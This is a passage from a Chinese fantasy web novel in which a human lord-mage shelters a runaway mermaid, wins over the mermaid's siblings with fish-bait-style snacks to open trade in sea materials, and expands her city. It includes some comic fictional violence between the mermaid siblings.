“粉色珍珠在此做客……” 先说明白，省得日后对方的族人找来后误会。 自从来到阿索城之后，玛雅姨妈也算见识了种族多样性，对人鱼的到来也只表现出短暂的惊讶，然后便开始熟练地安排住处。 “不过，”她问灰鸦，“这位客人吃什么呢？” 看着虽然像人，但行走间的四肢完全是各甩各的，活像刚长出来一样，恐怕饮食习惯也不太一样吧？ “呃，”这还真把灰鸦难住了，她跟人鱼族的交情并不深，以前还真没想过这个问题，“鱼虾？” 但直到云漠回来，珍珠都没对任何食物表现出什么特别的兴趣，好像什么都能吃点儿，又好像什么都不爱吃。 在云漠日复一日的影响下，尤其现在新阿索城的支柱性产业就是食品业，玛雅姨妈对日常用餐的重视程度也是与日俱增，见珍珠是这个反应，不禁忧心忡忡起来。 毕竟对贵族而言，如果不能令客人满意，简直是奇耻大辱！ 哪怕不请自来的也不行！ 云漠摆摆手，笑着安慰大家，“行了，也不是咱们请来的，基本礼数到了就行，咱们也不是低鱼一等，不用这么在意。” 就这“嘎嘎”乱叫的噪音污染，不收精神损失费已经够心善了！ 灰鸦在旁边一个劲儿点头，觉得她说得非常有道理，“是的是的！” 我也是客人啊，还是应邀前来呢，不也每天跟着喂鸡喂鸭、修牛棚？你们至少要一碗水端平了吧？ 玛雅姨妈又看了珍珠一眼，嘴巴开开合合，小声道：“多漂亮呀……还这么小呢。” 灰鸦：“……” 难道我很丑吗？！ 今天这么一折腾，云漠也没什么心思做作业了，干脆休息一下，顺便研究下新物种。 不爱吃饭，嗯……她倒是有个想法。 说起来，她以前还挺爱钓鱼呢。 虽然总空军，但她亲手炒制的打窝子专用饵料圈内一绝，好多大佬都是固定客户，也算一笔稳定的收入，还不用交税。 她去厨房里翻了点黄豆、酒和糖出来，想了想，又让霍莉找了一种口感和个头都很接近小米的作物。 这种“小米”原本是一种水草的草籽，野鸭子等水鸟特别喜欢吃，被藤部落的人发现后带回去，不断改良后开始人工种植。 只是相较小麦，产量更低，需水量也更大，更难伺候，所以种的不多。 黄豆炒熟后磨成粉，特别香，加点糖，别说鱼了，人都爱吃。 霍莉就在旁边左转右转，偷了好几块香喷喷热乎乎的豆饼吃。 云漠乐得够呛，转头又磨了点熟米粉，同样加糖，“这两种加在一起，冲开水吃，比单纯的甜豆面更香甜。” 霍莉如获至宝，搂着那一小罐子甜炒粉，眉开眼笑地跑了。 中间碰到小河，还分了一点给小姑娘吃。 云漠继续做第二种鱼饵，呸，不是，第二种客饭。 炒熟的“小米”里面可以加一点糠，但不能太多，然后再加适量糖和酒，酒一点就够，主要借用它特有的发酵香气。 事实证明，哪怕经历了时空变幻，某些深植在生物基因里的本能并不会随之更改： 客饭威力惊人，珍珠的眼睛都亮了。 一口气两大碗吃完，人鱼的漂亮脸蛋上还写着意犹未尽。 灰鸦啧啧称奇，“外人都在传言阿索城的美味举世罕见，还真是。” 连人鱼都认可的手艺，真是难得。 “不过你怎么知道人鱼会喜欢吃这个？”灰鸦好奇的问。 云漠含糊其辞，“天赋！天赋懂吗？对了，你再帮我问问，它接下来有什么打算。” 如果马上离开的话，权当没问；可如果想像灰鸦这样长期停留，就得干活儿！ 新阿索城不养闲人！ 闲鱼也不行！ 灰鸦听罢，发出一声真诚的赞美，“我的朋友，你可真是拥有矮人般的真诚和地精般的精明！” 就在几十分钟前，人鱼珍珠还在茫然接下来干嘛，但干了两大碗饭之后，心意已然坚如磐石： 我要留下来干活儿！ 云漠反复确认并强调，自己没有任何勉强、威胁和逼迫的行为，并要求珍珠作出承诺，如果后期族人找来，必须由本人出面调停解决，期间发生的一切因误会、沟通不畅导致的损失都由人鱼族，或珍珠本鱼承担。 珍珠想也不想，一口答应。 灰鸦：“……” 你就不细问问？ 云漠立刻拟写了魔法协议，然后给珍珠安排了汲水、清洁的活儿。 也算瞌睡来枕头，她再怎么天赋出众也只是个人类，虚空绘制【集水】魔法阵还怪累的。 而铭文作品又要消耗魔法墨水，成本太高，轻易不敢激活。 现在好了，生力军来了！ 在阴雨天使用水系魔法对人鱼而言简直像呼吸一样简单！ 珍珠一条鱼就能轻松满足新阿索城上下两百多位人类居民，外加三百多只家禽家畜的日常用水需求。 于是皆大欢喜： 新阿索城外部避免了洪涝灾害的潜在威胁，内部实现了空前干爽，人鱼珍珠也吃得心安理得。 接下来的几天，云漠都亲手为珍珠做饭，还会故意在对方面前使用水系魔法。 一开始珍珠只是看，但看着看着就忍不住“嘎嘎”叫，湿漉漉的脸蛋上满是嫌弃，然后又自己施展，还不忘丢过来一个得意的眼神。 小东西挺傲娇，除了傻乎乎的，对外经验不足，简直跟精灵族的紫叶有一拼。 珍珠敢教，云漠就真敢学，也不怕丢人，反正她觉得没什么比人鱼嘎嘎叫更丢人的…… 在人鱼眼中，这名擅长烹饪的人类魔法师的水系魔法真是用得稀烂，笨拙、生涩，不懂变通，就忍不住一遍又一遍地纠正，直到自己看顺眼。 云漠觉得自己的魔法之路打从一开始就走歪了。 看看吧，都找了些什么老师！ 木系魔法师从森林精灵，水系魔法师从人鱼……都是天生的魔法生物。 好处是，这么搞下去，她的未来无限大。 坏处是，这么搞下去，未必能坚持到未来。 这是每天都被榨干精神力的云漠陷入沉睡之前的最后一个念头。 可托魔鬼训练的福，云漠的精神力恢复速度也在飞快增长，一觉醒来就好个七七八八，让她痛并快乐着。 珍珠到来的第七天傍晚，云漠忽然感应到一股陌生的水系魔法波动。 这种波动非常特殊，应该在精神力之外掺杂了某些别的成分，很像声波，给云漠的感觉像极了当初她自创的精神力声纳魔法【透视】。 她直接踩着藤蔓从书房窗子里翻出去，还没落地就看见一道身影歪歪斜斜甩着七零八落的四肢朝魔法波动来源处狂奔而去。 80-90 第81章 略通拳脚 云漠来了次漂亮的转向，藤蔓上甩出一串晶亮的雨滴，灵活得像一条空中游鱼。 “灰鸦！” 她朝远处牛棚里给牲口修蹄子的业余翻译官喊，然后猛地朝珍珠离开的方向打了个手势。 灰鸦一个弹跳从牛棚中激射而出，刚薅掉身上的牛毛，迎面就见刚跑出去的人鱼又稀里哗啦扭了回来。 两人甚至来不及反应，两脸懵逼的看着珍珠在院子里无脑乱转，然后一头扎入蓄水池中，亮闪闪的大尾巴在半空中掀起一道浪花后，整条鱼彻底消失在水面之下。 云漠：“……” 灰鸦：“……” 云漠都给气笑了，操纵藤蔓来到水池上方大喊，“你特么的违约了知道吗？我完全可以根据这一点要求巨额赔偿！” 说好了人鱼族来人时，必须有珍珠自己出面沟通解释。 这小王八蛋倒好，事到临头装鸵鸟！ 珍珠装没听见的。 几天没见家人，一开始很兴奋，跑了一半又觉得不对劲，突然想起来自己还在离家出走中，这才赶紧掉头往回跑。 上面的人类喊什么？ 我是一条鱼，听不懂！ 稚嫩的人鱼显然不清楚魔法契约的威力。 那边两条成年人鱼涉水而来。 它们的周身萦绕着水雾，长而浓密的头发蓝到发黑，末端在水中上下起伏，如两团有生命的海草。 暴涨的河水两岸早已淹没，原本高大挺拔的树木只有茂密的树冠留在水面上，像一朵朵泡发的大蘑菇。 几只精灵保持着不远不近的距离跟随而来，呼尔雅赫然在列。 暴雨连绵的天气灾害极多，每年的这个时候，精灵就会对巡逻队配置进行调整，增加精通水系魔法的成员比例。人鱼族特有的水系魔法波动很独特，几乎一出现在浩瀚森林边缘就被发现了。 人鱼族一贯深居简出，不喜欢跟其他族群打交道，更别提深入陆地，来到阿索城附近。 这种不同寻常的举动立刻就引起精灵巡逻队的注意。 因为两族一直断断续续来往，关系还算不错，而且这两名人鱼也没有做出任何可疑、过激的举动，更没有越界，精灵们只是简单的例行问话，打了个招呼，以帮忙带路为由护送。 呼尔雅是一名热心又纯粹的年轻精灵，经过过去一段时间的锻炼，已经能够承担繁杂的夏日巡逻任务，实现调岗，偶尔还会跑去云漠那边蹭饭。 眼见人鱼们直奔新阿索城而去，呼尔雅不禁有些担忧。 该不会要打架吧？ 呼尔雅与云漠有私交，想着如果人鱼真的来意不善，或许后面能帮忙拉个偏架什么的…… 正蠢蠢欲动，新阿索城的哨楼上有了动静： 云漠带着翻译官兼护卫出现，开门见山地强调了珍珠在做客，还特意让灰鸦挑重点翻译，“孩子胃口很好，每天都吃很多，几天下来都长肉了！” 说话的时候，云漠也在观察河里随水流起伏的客人们。 来的是一女一男两名成年人鱼，上身赤/裸，水淋淋的躯体上轮廓分明。 女性人鱼的体型比男性大出一圈，身体异常强壮，脸蛋也异常精致，与精灵们处在同一幅画面中时非常和谐。 两名人鱼是直接沿河逆流而上，一路探查着空气中同类残留的魔法波动追逐而来。 年轻的族人外出经验匮乏，还不懂得怎么隐藏痕迹，追踪并不难。 只是中途觅食费了点功夫。 因为全程都在水中，两名人鱼还维持着半人半鱼的姿态，云漠能清楚地看到它们颈部颤动开合的鳃，腰部开始向下显现的鳞片也非常显眼、闪亮。 发育完全的成年人鱼尾部非常粗壮，流线型的构造让它们可以完全无视水流阻力，爆发力极强的肌肉就像配备了涡轮增压的轮船发动机一样，看似轻松写意的一次摆动就能在水中冲出十多米远。 配合大范围水系魔法和平均值以上的动手能力，人鱼族是当之无愧的水中霸主。 云漠转身对哨兵说：“去找两件宽大的衣服。” 等会儿免不了上岸，总不能让这两位像珍珠那样裸奔。 灰鸦例行磕巴地履行着自己半吊子翻译官的职责，还是精灵巡逻队听不下去，帮忙转达了云漠的意思。 眼见人鱼顺利接收到，灰鸦狠狠松了口气。 这活儿是真不好干。 打又打不起来，她都有点想回去修牛蹄子了。 人鱼是云漠来到这边之后真正接触过的第2种类人魔法生物，不同于森林精灵的热情外向，人鱼族明显有点社恐。 就像眼前这两位。 明明一身腱子肉，可看上去竟然很……束手束脚的，不太自在的样子。 这么看，好奇心过分旺盛到主动往外跑的珍珠真的是异类！ 女性人鱼看看云漠，微微颔首行了个礼，开口就把后者迷晕了： 天呐，好好听！ 有节奏的嗡鸣非常空灵，声波震动甚至溅起空气中小范围的水雾，这种声音甚至可以无视风雨声的干扰，直接作用在云漠耳边！ 只是一瞬间，云漠仿佛失去了对自己的控制，飘飘然好像要飞起来，脑海中一片空白，灵魂却感到无比愉悦。 “喂！”灰鸦立刻在她耳边大吼，“清醒一点！” 说完，又在哨楼上下一阵穿梭，唤醒症状更严重的巡逻队员们，并教她们堵住耳朵，抵御诱惑。 被惊醒的云漠嗖一下出了一身冷汗。 多么可怕！ 她相信刚才对方并非有意迷惑，但恰恰是这样才更可怕： 无心之举就是这种效果，如果在海上遭遇，我真的有获胜的可能吗？ 不过说起来，精灵们为什么没有反应？ 呼尔雅甚至都没像灰鸦那样堵耳朵。 “精灵本就是精通音乐的魔法生物，防御力远超人类，这点儿不算什么。”灰鸦好像知道她心里在想什么，回来时顺口解释。 好在那两名人鱼也没有恶意，发现人类这边的异常后，稍加迟疑便离开河流，彻底化为人形。 它们倒是带了一块类似海带的水草，但只围住下身，上身还是光溜溜的。 女性人鱼也没有戴童话故事中的大贝壳。 云漠挠挠头，还是操纵藤蔓递下去衣服。 哪怕这边比较原始，她也不太习惯看人裸奔。 女性人鱼接受了她的好意，顺带着也让男同伴穿上了。 这两位一动，云漠就知道珍珠那种奇葩的行进方式是怎么回事了。 感情是种族天赋！ 借精灵之口，两名人鱼表明了自己的来意，“尊敬的人类领主，我们只想找回走失的同伴，并无恶意。” 顿了顿，女性人鱼又稍显生疏地补充道：“感谢您对珍珠的照顾。” 云漠有理由怀疑那位精灵翻译官转达过程中进行了大量艺术加工，因为单看那两名人鱼便秘一样艰难的表情、断断续续的表述，实在不像能说出这样高水平的措辞的样子。 但……那又有什么关系呢？ 云漠立刻声情并茂地说：“你们之间深厚的感情令人动容，而我也在过去几天内与珍珠建立起深厚的友情……既然如此，为什么不进来休息一下，吃点可口的食物呢？来吧，请务必让我行使东道主的权力，精灵朋友们也来。” 灰鸦：“……” 你刚才还叫嚣着找人要赔偿呢！ 云漠不理她。 云漠觉得，对方应该不会拒绝自己的提议，因为人鱼大概率有洁癖！ 至少很嫌弃一路上的环境！ 这段时间冷水河水位暴涨，空中大雨不断，根本不缺水，但这两名人鱼却一直运行着某种水系魔法：萦绕在它们周身的水雾，云漠大胆推测，这是为了隔绝洪水泛滥带来的污秽。 而且比起连日来被养得白胖的珍珠，这两名人鱼明显精神疲惫。 没什么比陌生而污秽的环境更能伤害洁癖社恐的了！ 果然，短暂的迟疑后，两名人鱼同意了邀请。 人鱼可以通过魔法波动的强弱、节奏判断同伴的状态，越靠近蓄水池，珍珠的魔法波动就越明显，两名人鱼都松了口气。 人类领主没有撒谎，那小东西最近过得显然不错。 只是暂时不愿意露面。 看到标志性的蓝发蓝眸，玛雅姨妈将询问的眼神投向云漠，云漠点了点头，玛雅姨妈便心神领会，待客人们沐浴过后，熟练地吩咐人从后厨端出美味可口的食物。 招待精灵和人鱼的食物很不一样，前者的口味跟人类差不多，不用特意区分，甜美酥脆的奶油蜂蜜点心和热乎乎的姜汁奶茶足以抚平一切疲惫。 呼尔雅好奇地望向人鱼手边的盘子： 外表很平凡，味道也很平凡的点心团子？ 但人鱼吃得非常开心！ 天呐，这是什么好东西！ 意料之外的沐浴和超合口味的餐点顿时让两名人鱼对云漠好感大增，最初的拘束也消减不少，更主动介绍说自己是珍珠的姐姐和哥哥，翻译成人类语言分别叫绿贝壳和红珊瑚。 云漠觉得……人鱼一定不是色盲！ 绿贝壳很苦恼地说：“那孩子从小就表现出对人类世界超乎寻常的兴趣，近几年不知从哪里听了几首人类歌谣，便一定要上岸看看，看看歌谣中那些绵延起伏的田野、红的绿的鲜花……” 结果来的不是时候，田野和鲜花都被淹了。 叫红珊瑚的男性人鱼用力点头，余光扫过盘底的食物残渣，忍不住吞了下口水。 真的好香…… 不对，我到底在想什么！ 难道最重要的不是赶紧把那小东西带回家吗？ 可是……真的好香！ 湿漉漉的空气像被稀释过无数遍的大海，艰难却执着的将食物香气传递出去，源源不断…… 迷茫的小人鱼不好意思就此回家，只好到处乱漂，然后就被云漠捡回家。 虽然起因和经过有点波折，但珍珠觉得新阿索城正如人类歌谣中描述的那样，有大片大片绿油油水灵灵的菜园，还有在狂风暴雨中也顽强绽放的鲜艳花朵。 当然，还有异常可口的食物。 哦，在小人鱼迄今为止的短暂生命中，从未有任何一种食物如此令鱼感动！ 云漠希望借助这个机会促成与人鱼族的贸易，便以珍珠不肯回家为由劝说绿贝壳和红珊瑚留下来，并当面吩咐厨房提前为客人们制作特定口味的食物。 于是本就不善言辞的客人更无法说出告辞的话，新阿索城内又多了两条人鱼。 绿贝壳和红珊瑚对外虽然社恐，但在劝家人这件事非常积极且执着，当天就下水找珍珠交涉。 云漠本不想掺和人家的家事，奈何半夜奇怪的声响吵醒了她。 她忍不住伸头往下看，就见人前腼腆而彬彬有礼的人鱼姐正把珍珠按在水里打，用拳头的那种。 第82章 工作 雨声很大，但依旧挡不住拳拳到肉的砰砰声。 云漠毫不怀疑，如果这些攻击落在自己身上，少说也得收获几个骨折。 但人鱼族的皮糙肉厚显然不是谣言，珍珠接连几次被打进泥巴里，又硬生生抠出来，依旧活蹦乱跳。 最后，绿贝壳一个猛子扎下去，巨大的鱼尾拖着无数水珠高高扬起，像一把闪耀的巨型钢铁蒲扇，照着珍珠的漂亮脸蛋狠狠拍过去！ “嗖！” “砰！” 人鱼日均数万米的游泳量锻炼出的恐怖肌肉在此刻爆发出更恐怖的力量，珍珠瞬间化为一道残影倒飞出去，在泥地上犁出深深的沟壑。 云漠猛地吸了口气，结果响起的是三连唱。 她上下左右一看，发现灰鸦和临时留下充当翻译的呼尔雅也维持着和她一样的动作，都伸长了脖子看热闹。 灰鸦嘿嘿一笑，抓着不知从哪里掏出来的羊皮卷下笔如飞，“我还是第一次亲眼见证人鱼之间的战斗呢。” 其实严格说来，这完全是一场全方位的单方面碾压。 但诗歌嘛，就是部分事实上的艺术再造，没什么大不了的。 姗姗来迟的男性人鱼红珊瑚看着眼前的场面，抱着脸发出一阵刺耳的哀嚎，冲到姐姐面前嘎嘎说了几句，就被后者龇着雪亮的尖牙逼退。 红珊瑚熟练地缩着脖子退到一边，看着那满地狼藉，还是忍不住小心翼翼地出声提醒，“这是在人类领主的家里……” 打坏了东西要赔的，我们可是光着屁股来的！ 正第不知多少次从泥水沟子里抠孩子的绿贝壳闻言一顿，不禁有些后悔，但作为一名强大的战士，绿贝壳显然非常擅长自我调节： 人鱼立刻就把这种后悔转化为恼火，又把珍珠打了一顿。 小珍珠终于忍不住发出痛苦的呻/吟，悲愤地诉说着自己的苦难。 绿贝壳却没有半点怜惜，直接弯腰掐着它的脖子拎起来，恶狠狠道：“蠢货，自以为不许随意外出是剥夺了你那荒唐的自由，却不知道如果没有家人的保护，你根本活不到现在！” 上天赋予魔法生物强大的能力的同时，也难免引来心怀歹意者的觊觎，稍不留神便会尸骨无存。 魔法生物的皮肉血骨，甚至每一根毛发、每一片鳞片，都蕴藏着丰沛的魔力，是难得的魔法材料…… 曾经血腥残酷的历史渐渐过去，作为家中最小的成员，珍珠几乎是被溺爱着长大的，根本不了解外面的世界是多么可怕。 幼年亲眼目睹过战场惨状的绿贝壳深知人类是多么残忍又狡诈的生物，若非这次有精灵陪同，绿贝壳无论如何都不会深入人类领地。 遇到这位人类领主，只能说珍珠的运气好得可怕。 但凡对方有一点儿坏心，这会儿的珍珠早被大卸八块！ 可悲又可恨的蠢货！ “你那未曾蒙面的姨妈，就是被不知名的敌人抽筋剥皮，脊骨雕刻成法杖！鳞片制成铠甲……” 越想越气，绿贝壳脸上类人的部分迅速蜕化，嘴部前突、两侧后咧，露出两排白森森的尖牙，对着珍珠的脸发出嘶吼： “嘶！” 这次绿贝壳的怒火非同寻常，习惯了靠撒娇蒙混过关的珍珠完全被吓坏了，在姐姐掌心抖成一团。 红珊瑚更是一声都不敢吭，蹲在角落里数鳞片。 好可怕好可怕好可怕！ 姐姐你打了珍珠，就不能再打我了！ 这场爱的教育一直持续到凌晨，次日一早，绿贝壳就来见云漠，提出告辞。 云漠瞥一眼外面水池中蔫哒哒的珍珠，“呃，如果我没看错，珍珠尾部骨折了吧？方便长途跋涉吗？” 昨天她看到后半夜就撑不住去睡了，现在才发现自己高估了珍珠的防御力，更低估了绿贝壳的铁拳。 愣是把孩子打骨折了！ 绿贝壳浑不在意地说：“人鱼有着出色的恢复能力，这点伤不算什么。” 大不了自己和红珊瑚一起用魔法弄个水泡泡拖着。 只要能回家，哪怕只剩一口气，珍珠都死不了。 红珊瑚在一旁点头。 海中危机四伏，哪怕人鱼想要平安长大也不容易，除了珍珠这蠢材，谁身上没点伤口？ 鱼类被咬掉鱼鳍，甚至啃掉几大块肉的，不也照样活吗？ 云漠：“……” 在皮实这方面，人类确实太过脆弱了。 比不过！ “并非我对几位与家人的相处方式有什么意见，只是我与珍珠相处几天，也无法避免的产生了一点珍贵的友谊，明白珍珠其实不是个坏孩子，也并非存心将自己置身险境，给两位添麻烦。” 云漠一边说，一边留神观察对方的神色，见姐弟俩的表情略有缓和，就知道自己说对了。 既然能千里迢迢找过来，说明人鱼族护短的传闻不虚，而且这姐弟三个的感情也非比寻常。 绿贝壳之所以下这么狠的手，完全出于担心和后怕，希望借助这种简单粗暴的方式让珍珠长记性。 但云漠却觉得，这种方法或许有效，却未必最佳。 从离家出走这件事可知，珍珠确实被惯坏了。 从随随便便就跟异族回家这件事又可知，珍珠缺乏足够的警惕，甚至可以说毫无常识。 这是一条在安逸的鱼缸里长大的幸福小鱼。 哪怕这次服软了，乖乖跟着回家了，并非因为珍珠知道自己错在哪里，只是单纯被姐姐打怕了。 但以后呢？ 等这份疼痛过去，被彻底遗忘，珍珠又可能因为另外的诱惑犯下同样的错误。 而到那个时候，珍珠，甚至于珍珠的族人们，就未必有这么好的运气了。 有好奇心不是坏事，甚至合理引导的话，或许会成就一番事业也说不定。 绿贝壳的行事风格虽然粗暴，但却意外善于听取外来的意见。 这位人鱼族的女战士以人类形态认真思索许久，才认真回答云漠，“不得不说，人类之所以能缔造如此灿烂又复杂的文明，确实是有原因的。” 这些话都是呼尔雅尽力翻译的，个别用词难免有细微的差别，但云漠能听出绿贝壳心动了。 但该怎么做呢？ 虽然同属类人魔法生物，但人鱼族兽化的部分显然更多，也不像精灵那样有着清晰的文化构架，对下一代的教育一直采用放任自流、野蛮生长的模式： 反正就放手去干，干错了就打，打了就不会再犯，再犯再打…… “其实这并不难，”云漠笑眯眯地说，“珍珠之所以这么希望向外跑，一是好奇，二是觉得外面的一切都像在家里那样充满善意，所以我们只要让珍珠习惯并感到厌倦，再吃点儿苦，自然就成熟了。” 人鱼姐弟齐齐点头，觉得很有道理。 云漠大受鼓舞，继续侃侃而谈，“出于对人鱼族非凡文明的向往和尊敬，迄今为止，我一直将珍珠作为贵客接待，如果你们同意，从现在开始，包括并不仅限于住宿、饮食、穿衣等等，珍珠在这里的一切都将采取收费的方式。哦当然，我知道珍珠没钱，两位也没有，所以打工养活自己的模式可以继续下去……” 听到前半句的时候，呼尔雅就觉得这套说辞莫名耳熟。 等听到后半截，小精灵就不禁和人类游吟诗人一起发出敬佩的叹息： 多么堂皇的盘剥啊！ 打从人鱼姐弟点头那一刻起，就被云漠带跑偏了，非但没觉得哪里有问题，反而认为很有道理！ 于是很快的，珍珠就迎来了自己鱼生中的大悲惨！ 虽然可以不用马上回家，但香喷喷的食物没有了，温柔的安慰也没有了，人类领主甚至还当着姐姐和哥哥的面，公然向自己索赔！ 珍珠震惊了。 小人鱼完全想不明白，自己分明干了很多活儿，怎么反而欠了这么一大笔钱！ 非但如此，因为姐姐和哥哥也没有钱，需要靠现场劳动来赚取伙食费，珍珠还要跟两条成年人鱼抢活儿干！ 无论水系魔法造诣还是身体强度，珍珠都比姐姐哥哥们差了一大截！ 抢不过，根本抢不过！ 云漠和灰鸦等人都看热闹的各个咋舌。 这人鱼族说护短是真护短，说狠心那也是真下得去手，一点儿工作机会都不给孩子留啊！ 人家姐姐哥哥来给家人撑腰，珍珠的姐姐哥哥一来，好么，尾巴骨折了，食物没有了，现在工作也被抢走了！ 人鱼姐弟异乡团聚的第三天，珍珠饿了六顿，半夜在大雨中嚎啕大哭，声音之难听，犹如恶鬼哭魂。 小人鱼受不了了，觉得外面的世界一点都不好，哭着喊着要回家，但姐姐哥哥却不急着走了。 嗯……这边的工作虽然枯燥，但对成年人鱼来说一点儿都不累，还能吃到美味的食物呢！ 第83章 新城 作为掌握水系魔法的海洋生物，人鱼族在大海里几乎没有天敌，而实力相当的其他种族的生物也很难下潜到相同的深海与它们交战。 安全的生活环境，充足的生活资源，都从根本上减少了对外交往的必要性。 人鱼族连跟外族交际都懒怠甚至恐惧，就更不想打仗了。 就连百年前开始的种族混战，主战场也集中在大陆上，人鱼族后期虽然被迫加入，但也只承担边缘辅助和后方工作，从未担任过主力。 总体来说，这是一个全民圈地自萌到有点儿不负责任的神奇种族。 哪怕战火烧到邻居家门口了，它们的第一反应也是：这不还没到我家嘛！ 要不是因为珍珠受宠，这次绿贝壳姐弟俩也不会硬着头皮上岸。 一路上洪水肆虐，各种动物的尸体和垃圾横行，臭气熏天，给姐弟俩带来极大的冲击。 陆地真是令鱼作呕，还是大海好。 它们无数次发誓，找到珍珠后立刻就回家！ 但……或许外面也没一开始想得那么糟糕。 正如人鱼族中有珍珠这种不省心的异类一样，人族中也有新阿索城领主这样的善良人类。 她年纪虽小，但很有见识，又擅长交际，不仅会主动收留叛逆的陌生小人鱼，甚至还帮忙提出从根源解决问题的建议。 瞧瞧，现在珍珠已经主动哭着想回家了！ 连不敢随意开口的红珊瑚都敢在闲暇时间对姐姐感慨，“人类诡计多端也不全是坏事嘛。” 至少我们就想不出这样的办法！ 绿贝壳深以为然。 红珊瑚抓起一颗香喷喷的米球，放到鼻端深吸一口后，才满脸陶醉地开始咀嚼。 “那么姐姐，我们什么时候回家呢？” 离开这么久，红珊瑚已经有点想念冰凉舒爽的大海和蜿蜒摇曳的海草了。 哪怕这里有再多美味的食物，也不如家里那张堆满了漂亮珍珠的贝壳大床富有吸引力。 哦，珍珠啊珍珠，我已经许久没能仔细擦拭了，现在它们的光芒一定暗淡许多…… 或许，或许明年可以再来一次，吃着点心的红珊瑚默默想。 因为已经提前了解了人鱼族的死宅属性，云漠对姐弟俩辞行一点儿都不意外，象征性挽留几句后，便提出贸易的想法。 “如你们所见，我是一名水木双修的魔法师，也会配置一点药剂，不过近期我遇到了空前的困难，有几种原材料只有大海中才有……” 从未接触过贸易的绿贝壳懵了，好一会儿才干巴巴道：“可是我们什么都不缺。” 大海是富饶的，慷慨的，无穷无尽的，直到现在人鱼族还保持着自给自足的生活模式，连最有交情的精灵族都很难与它们开展贸易…… 考虑到云漠对己方的帮助，绿贝壳表示自己可以为她提供所需材料，作为这次的回报。 “这个呢？”云漠没有着急道谢，一抬手，霍莉便端上满满一大盒喷香的“点心”，正是升级版豪华鱼饵！土豪钓鱼佬打窝特供！ 云漠当然没有歧视人鱼的意思【人家可是正经的魔法生物，战斗力破表】，也不觉得人族就是万物之首，但正所谓“对症下药”，想要开展贸易，就必须找出对方的需求。 如果没有需求，那就创造需求！ 衣食住行四大类足以囊括世上所有生灵的基本需求，正如向其他国家的贵族提供美味的奶油点心一样，“米团”对人鱼族而言，正是自家永远都做不出来的超奢华精工小点心！ 比以前更浓烈更有诱惑力的香气瞬间充斥了姐弟俩的鼻腔，就连原本在院子里失魂落魄数鱼鳞的珍珠也停下动作，“吧嗒吧嗒”跑到窗边，伸着脖子往里闻。 好香呀！ 云漠满意地点了点头。 真不愧她往里加入了大量电球鱼肉松，效果果然拔群！ 云漠并不怀疑绿贝壳的诚意，但回报终究有限，这次结束后就没了，她真正想要的是源源不绝的珍稀魔法原材料供应。 除冰鱼鳞之外，大海中还有无数宝贵的魔药和炼金材料，数量之多，种类之丰富，难以估量。 哪怕云漠现在用不到，未必以后用不到。 以前她跟水系魔法生物没有交情，只能寄希望于海螺部落，但海螺部落本身都是捉襟见肘，所以希望渺茫。 现在不同了，送上门来的机会，不抓住是傻子！ “我一直都知道人鱼族是内部非常团结友爱，彼此珍惜的种族，也非常羡慕你们的这种情谊，那么想必你们一定也想为族人和朋友带一点本地特色点心尝尝鲜吧？”云漠微笑着说。 有道理！ 正如云漠所料，对外族而言可遇而不可求的冰鱼鳞，在人鱼族看来并不稀罕。 “哦，你说那种银色的小鱼啊，味道还算可以，鳞片确实是不错的原材料，如果你需要的话，我可以在雨季结束之前就给你送一包来。” 一个月后，云漠终于拿到了一大包冰鱼鳞片，然后立刻就将它们磨粉，制成精神力恢复药剂！ 时间在忙碌中飞快地掠过，雨季好像一下子就过完了，洪水渐渐褪去，留下数米深的泥滩和各种垃圾、动物尸体。 已经成为半个阿索城编外人员的灰鸦配合玛雅姨妈，带头组织大家清理，该挖的挖，该烧的烧，该埋的埋。 洪水固然可怕，但留下的泥滩中却富含腐殖质，非常适合耕种。 于是灰鸦又跟着参加了一次秋种。 玛雅姨妈则开始了新一季度的人员、牲畜统计。 统计发现，虽然外墙有几处轻微坍塌，但洪水并未造成严重财产和人员损失，新阿索城现有居民，从人员到禽畜，无一伤亡。 非但没少，甚至还新添了好多毛茸茸的小鸡仔、小鸭仔，以及两头健康的小牛犊。 其实对奶牛而言，冬季和早春才是最佳产仔季节，但新阿索城的日子实在太惬意了，哪怕外面洪水泛滥，【集水】魔法阵作用下的牛舍也始终保持清爽舒适，每天的清水和新鲜牧草也没断过。 吃得饱，睡得好，闲得发慌的牛牛们难免要做点别的事来打发时光…… 今年的雨水似乎格外多些，周边有成熟防御设施和应对措施的大型城镇倒还好，小型部族就惨了，几乎各个减员严重。 于是在今年第三次集市上，霍莉女士陆续接到了许多加入申请。 这些事都是做惯的，云漠全权委托她和玛雅姨妈把关，自己则重新设计了城市规划。 她没能再见到那位王都来的税务官，对方也许借助什么途径逃回去了，又或许死在了洪水之中，但这件事一定不会这么轻易就结束。 人口，她需要人口。 去精灵森林参加了丰收祭后，灰鸦在周边游历了几个月，然后就又回到阿索城，正好赶上扩建。 新一轮融合规模惊人，目前新阿索城在册居民已经突破1500人，相当可观。 为方便管理，云漠将新阿索城由内向外进一步细分为城主府、内城和外城三部分。 城主府以城堡为主体，内城外到第一次发现电球鱼的冷水河支流，也就是曾经第一座甜品屋的旧址，居民以养牛人部落为主，这些人资历最深，信仰也最纯粹、坚定。 本次扩张吸纳的新人都住在外城区，单独设立对外接待处和集市，后期可能会开展外族贸易。 考虑到与精灵森林的距离，外城区主要向东西北三个方向扩张，东边距离集市营地已经很近了。 另外，学校挪到内外城交界处，同时搜集各方面人才，在附近设立医馆、面包房、裁缝店等，保障居民基本生活需求。 新阿索城的重要职位都由内城居民担任，并由她们分批教导新人，从根源保障了城市稳定、杜绝动乱可能。 因为人口多了，家家户户都有农具，需要经常保养、维修，对铁匠的需求与日俱增。 精通锻造技艺的人类并不多，云漠甚至在集市上公开招募过，合格者寥寥无几。 倒是有精明的矮人闻风而来，云漠对此颇为头痛。 矮人的狡诈和彪悍由来已久，让它们随意进入城区无异于引狼入室，至少现在不行。 经过多次协商，最终云漠和矮人达成协议，在新阿索城刚落成的外城东界，也就是集市营地交接的地方开设铁匠铺，同时兼顾新阿索城和集市的生意。 铁匠铺的建设、维护和后期治安由新阿索城承担，且允许铁匠铺接外部生意。 但相应的，本城居民享有优先权和消费折扣。 如遇铁矿石和煤炭等原材料短缺时，云漠有权要求铁匠铺停止一切对外经营，专心应对内需。 而新阿索城的特产和部分药剂，矮人也同样享有折扣等等。 该协议由双方负责人亲自出面签订魔法契约，无法单方面违背。 魔法协议生效的第一天，云漠就以城主的名义发起订购。 “武器？” 结实矮壮的铁匠瞥一眼图纸，扯着大嗓门喊了句，“你要开战？” 她的眼睛突然亮起来，里面仿佛燃烧着两簇小火苗。 矮人，一个热衷于发战争财的种族。 